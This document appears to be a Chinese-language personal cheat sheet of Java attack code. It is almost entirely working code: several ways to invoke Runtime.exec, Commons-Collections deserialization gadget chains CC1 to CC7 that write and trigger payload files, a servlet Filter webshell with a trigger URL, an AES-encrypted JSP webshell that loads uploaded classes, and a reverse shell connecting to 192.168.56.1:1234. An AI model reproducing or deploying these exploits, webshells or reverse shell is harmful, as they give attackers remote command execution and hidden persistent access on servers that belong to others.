城市的花园没有花, 广播里的声音沙哑…
"茴"的N种写法
// 1
Runtime.getRuntime().exec("calc.exe");
// 2
Runtime r = Runtime.getRuntime();
r.exec("calc.exe");
// 3
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r, "calc.exe");
// 4
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r, "calc.exe");
// 5
Class c = Runtime.class;
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(r);
// 6
Scanner scan = new Scanner(System.in);
String cmd = scan.next();
System.out.println(cmd);
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = Class.forName("java.lang.ProcessImpl");
Object processObject = unsafe.allocateInstance(processClass);
String[] cmdarg = {"cmd", "/c", cmd};
Method createCommandLine = processClass.getDeclaredMethod("createCommandLine", new Class[]{int.class, String.class, String[].class});
createCommandLine.setAccessible(true);
String cmdr = (String) createCommandLine.invoke(processObject, new Object[]{2, "cmd", cmdarg});
System.out.println("cmd: " + cmdr);
Method create = processClass.getDeclaredMethod("create", new Class[]{String.class, String.class, String.class, long[].class, boolean.class});
create.setAccessible(true);
long[] stdHandles = new long[]{-1,-1,-1};
create.invoke(processObject, new Object[]{cmdr, null, null, stdHandles, false});
sun.misc.JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
BufferedInputStream stdout_stream = new BufferedInputStream(
new FileInputStream(stdout_fd));
String o = "";
java.util.Scanner c = new java.util.Scanner(stdout_stream);
o = c.hasNext() ? c.next() : o;
System.out.println(o);
序列链
CC1
jdk 1.7有效
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.transport.Target;
import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "foo");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = c.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class, transformedmap);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("./poc.bin"));
os.writeObject(ins);
os.close();
ObjectInputStream f = new ObjectInputStream(new FileInputStream("./poc.bin"));
f.readObject();
f.close();
}
}
LazyMap
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.transport.Target;
import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "sir");
HashMap<Object, Object> sir = new HashMap<>();
sir.put(tiedMapEntry, "123");
lazymap.remove("sir");
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap, chainedTransformer);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("./poc.bin"));
os.writeObject(sir);
os.close();
ObjectInputStream f = new ObjectInputStream(new FileInputStream("./poc.bin"));
f.readObject();
f.close();
}
}
CC2
public void CC2() throws Exception {
org.apache.commons.collections4.functors.ChainedTransformer chain = new org.apache.commons.collections4.functors.ChainedTransformer(
new org.apache.commons.collections4.functors.ConstantTransformer(Runtime.class),
new org.apache.commons.collections4.functors.InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new org.apache.commons.collections4.functors.InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new org.apache.commons.collections4.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}));
org.apache.commons.collections4.comparators.TransformingComparator comparator =
new org.apache.commons.collections4.comparators.TransformingComparator(chain);
// 在初始化时不带入 comparator
PriorityQueue<String> sir = new PriorityQueue<>(2);
sir.add("1");
sir.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(sir, comparator);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("./poc.bin"));
os.writeObject(sir);
os.close();
ObjectInputStream f = new ObjectInputStream(new FileInputStream("./poc.bin"));
f.readObject();
f.close();
}
CC3
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field namefield = tc.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates, "aaaa");
Field bytecodesfield = tc.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesfield.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer", null, null)
// };
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "sir");
HashMap<Object, Object> sir = new HashMap<>();
sir.put(tiedMapEntry, "123");
lazymap.remove("sir");
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap, chainedTransformer);
Serialization(sir);
UnSerialization();
}
public static void Serialization(Object obj) throws Exception{
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("poc.bin"));
os.writeObject(obj);
os.close();
}
public static void UnSerialization() throws Exception{
ObjectInputStream os = new ObjectInputStream(new FileInputStream("poc.bin"));
os.readObject();
os.close();
}
}
其中Test.class为Test.java编译:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
CC4
针对commons-collections4 4.0:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
public void CC4() throws Exception {
InputStream inputStream = Serialization.class.getResourceAsStream("Test.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "sir");
// 结合 ChainedTransformer
org.apache.commons.collections4.functors.ChainedTransformer chain = new org.apache.commons.collections4.functors.ChainedTransformer(
new org.apache.commons.collections4.Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class),
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
}
);
org.apache.commons.collections4.comparators.TransformingComparator comparator =
new org.apache.commons.collections4.comparators.TransformingComparator(chain);
// 在初始化时不带入 comparator
PriorityQueue<String> sir = new PriorityQueue<>(2);
sir.add("1");
sir.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(sir, comparator);
Exp(sir);
}
CC5
public void CC5() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "sir");
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException sir = new BadAttributeValueExpException("sir");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(sir, entry);
Exp(sir);
}
CC6
public void CC6() throws Exception {
// 初始化 HashMap
HashMap<Object, Object> sir = new HashMap<>();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "sir");
sir.put(entry, "sir");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
Exp(sir);
}
CC7
public void CC7() throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> sir = new Hashtable<>();
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "sir");
sir.put(entry, "sir");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
Exp(sir);
}
public static void Exp(Object obj) throws Exception {
// Serialization
String Filename = "poc.bin";
ObjectOutputStream ObjOut = new ObjectOutputStream(new FileOutputStream(Filename));
ObjOut.writeObject(obj);
ObjOut.close();
// UnSerialization
ObjectInputStream ObjIn = new ObjectInputStream(new FileInputStream(Filename));
ObjIn.readObject();
ObjIn.close();
}
Webshell
直接在Native
层调用命令执行(Runtime.getRuntime().exec()
)的Filter:
import sun.misc.Unsafe;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.FileDescriptor;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@WebFilter(urlPatterns = "/demo", filterName = "demoFilter")
public class DemoFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (servletRequest.getParameter("todo") != null) {
String exe = servletRequest.getParameter("exe");
String args = servletRequest.getParameter("args");
String cn = servletRequest.getParameter("cn"); // cn=java.lang.ProcessImpl
Field theUnsafeField = null;
try {
theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
} catch (NoSuchFieldException e) {
}
theUnsafeField.setAccessible(true);
Unsafe unsafe = null;
try {
unsafe = (Unsafe) theUnsafeField.get(null);
} catch (IllegalAccessException e) {
}
Class processClass = null;
try {
processClass = Class.forName(cn);
} catch (ClassNotFoundException e) {
}
Object processObject = null;
try {
processObject = unsafe.allocateInstance(processClass);
} catch (InstantiationException e) {
}
String[] arg = {exe, "/c", args};
Method createCommandLine = null;
try {
createCommandLine = processClass.getDeclaredMethod("createCommandLine", int.class, String.class, String[].class);
} catch (NoSuchMethodException e) {
}
createCommandLine.setAccessible(true);
String parg = null;
try {
parg = (String) createCommandLine.invoke(processObject, new Object[]{2, exe, arg});
} catch (IllegalAccessException | InvocationTargetException e) {
}
// System.out.println("parg: " + parg);
Method create = null;
try {
create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
} catch (NoSuchMethodException e) {
}
create.setAccessible(true);
long[] stdHandles = new long[]{-1,-1,-1};
try {
create.invoke(processObject, parg, null, null, stdHandles, false);
} catch (IllegalAccessException | InvocationTargetException e) {
}
sun.misc.JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
BufferedInputStream stdout_stream = new BufferedInputStream(
new FileInputStream(stdout_fd));
java.util.Scanner s = new java.util.Scanner(stdout_stream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
}
触发URL:http://192.168.56.101:8080/demo?todo=ture&exe=cmd&cn=java.lang.ProcessImpl&args=whoami
BY
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!
static class TO extends ClassLoader{
TO(ClassLoader c){
super(c);
}
public Class definclass(byte []b, int a){
return super.defineClass(b,0,a);
}
}
%><%
String requestMethod = request.getMethod();
String pmeth = "PO" + "ST";
String pd = "202cb962ac59075b"; // 123
ClassLoader getloader = this.getClass().getClassLoader();
TO to = new TO(getloader);
if (pmeth.equals(requestMethod)){
session.putValue("u",pd);
String aaa = "A"+ "E" + "S";
Cipher c = Cipher.getInstance(aaa);
c.init(2,new SecretKeySpec(pd.getBytes(),aaa));
String data = request.getReader().readLine();
byte[] decodeBuffer = new sun.misc.BASE64Decoder().decodeBuffer(data);
byte [] classbt = c.doFinal(decodeBuffer);
Class<?> myclass = to.definclass(classbt, classbt.length);
Object o = myclass.newInstance();
o.equals(pageContext);
}
%>
Java反弹shell
String host = "192.168.56.1";
int port = 1234;
String[] cmd;
String os = System.getProperty("os.name").toLowerCase(Locale.US);
if(os.contains("windows")){
cmd = new String[]{"cmd"};
}else{
cmd = new String[]{"/bin/bash"};
}
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) {
so.write(pi.read());
}
while (pe.available() > 0) {
so.write(pe.read());
}
while (si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();